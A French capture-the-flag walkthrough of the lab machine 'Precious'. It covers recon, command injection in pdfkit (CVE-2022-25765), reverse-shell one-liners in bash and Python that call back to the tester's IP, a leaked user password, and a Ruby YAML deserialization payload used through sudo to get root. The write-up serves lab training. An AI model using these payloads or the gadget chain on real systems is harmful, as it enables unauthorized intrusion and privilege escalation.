5.6 KiB
Precious
Adresse IP de la machine : 10.10.11.189
On commence par un nmap :
nmap -sC -sV -oA nmap_precious 10.10.11.189
On trouve deux ports ouverts :
- 22/tcp : OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
- 80/tcp : nginx 1.18.0
On remarque un redirect vers http://precious.htb, on ajoute donc le domaine à /etc/hosts
.
On peut alors visiter le domaine sur un navigateur pour voir.
On tombe sur un outil de conversion de page web en PDF. On pense donc tout de suite à une faille autour de l'upload de fichier, avec injection de commande. On regarde quand même le code source :
- Le formulaire est traité par la même page.
- On peut regarder le code CSS : rien d'intéressant.
L'outil attend un URL. En testant plusieurs URL valides, on constate que la box n'a pas accès à Internet. D'autres tests :
- http://localhost => cannot load
- http://precious.htb => cannot load
- http://10.10.11.189 => cannot load
- localhost => url invalide
- ftp://... => url invalide
- https://10.10.11.189 => cannot load
Le convertisseur attend donc une string commençant par http(s)://
.
Lançons un serveur web local avec une belle page HTML de test.
echo "YOU HAVE FOUND THE RING" > index.html
python3 -m http.server
Et on fournit http://10.10.14.66:8000
au convertisseur.
Cela fonctionne, on obtient un PDF avec YOU HAVE FOUND THE RING
.
En essayant http://10.10.14.66:8000; curl 10.10.14.66:8000
on s'attend à recevoir deux requêtes au niveau de notre serveur Python.
Pourtant, aucune requête et un PDF blanc converti.
On a donc fait marcher le convertisseur mais sans faire fonctionner le système de requête.
D'autres tests :
http://10.10.14.66:8000; sleep 20
=> PDF vide instantanémenthttp://10.10.14.66:8000; echo
=> PDF vide instantanément
On peut conclure qu'une tentative d'injection de commande directement dans le formulaire cause le convertisseur à fournir un PDF vide sans exécuter la commande.
Essayons d'obtenir plus d'informations sur le convertisseur lui-même.
Si on télécharge le PDF obtenu plus haut, on peut l'inspecter et obtenir l'information suivante : Generated by pdfkit v0.8.6
, grâce à exiftool
.
Recherchons des failles sur cette version de pdfkit.
La CVE-2022-25765 explique une faille sur les versions pdfkit inférieures à 0.8.7.2. Cette vulnérabilité concerne l'injection de commandes par les paramètres GET.
Essayons donc d'injecter une commande sleep : http://10.10.14.66:8000?name=%20
sleep 5``, en tentant de changer le nombre de secondes.
On doit pouvoir faire un reverse shell avec cette méthode.
On arrête python3 -m http.server
et on lance nc -lnvp 8000
.
Faisons un premier test : http://10.10.14.66:8000?name=%20
curl 10.10.14.86:8000/inject`` (on ajoute inject
pour identifier cette requête).
Seule cette deuxième requête est reçue.
On va pouvoir essayer divers payloads :
bash -i >& /dev/tcp/10.10.14.66/8000 0>&1
=> NOK- python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.66", 8000));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' => OK
On a un shell !
En essayant sudo -l
, un mot de passe est demandé, que nous n'avons pas car nous avons accédé à cet utilisateur via reverse shell.
On atterit dans /var/www/pdfapp
et on y trouve :
- config.ru => source config/environment.rb, donc rien d'intéressant
- config/environment.rb
=> définit
APP_ENV = ENV["RACK_ENV"] || "development"
echo $RACK_ENV` retourne "production" - app/ => contient les controllers et views du web app
- Gemfile
=> charge des gem :
- "http://rubygems.org"
- sinatra
- require_all
- pdfkit
Ainsi que
shotgun
mais qui est commenté.
Allons dans le HOME, on y trouve .bundle/config
, avec des identifiants :
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Essayons un ssh sur ce compte, on a bien un shell.
On trouve tout de suite le flag user.txt
.
Commençons par un sudo -l
:
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
L'utilisateur henry peut donc lancer un script avec ruby en tant que root. Ouvrons ce fichier.
Le script charge un fichier dependencies.yml
avec un chemin relatif.
Essayons de lui en fournir un :
dependencies.yml
---
foo: bar
sudo /usr/bin/ruby /opt/update_dependencies.rb
Le fichier est bien lu sans erreur.
Une recherche Internet nous pointe sur la CVE-2013-0156. Un exemple :
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "id"
method_id: :resolve
C'est la ligne git_set: "id"
qui nous permet de voir qu'une commande est bien exécutée :
sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
...
Au dessus du stacktrace, on constate bien le retour de la commande id
.
Remplaçons git_set: "id"
par git_set: "bash -p"
On obtient bien un shell root.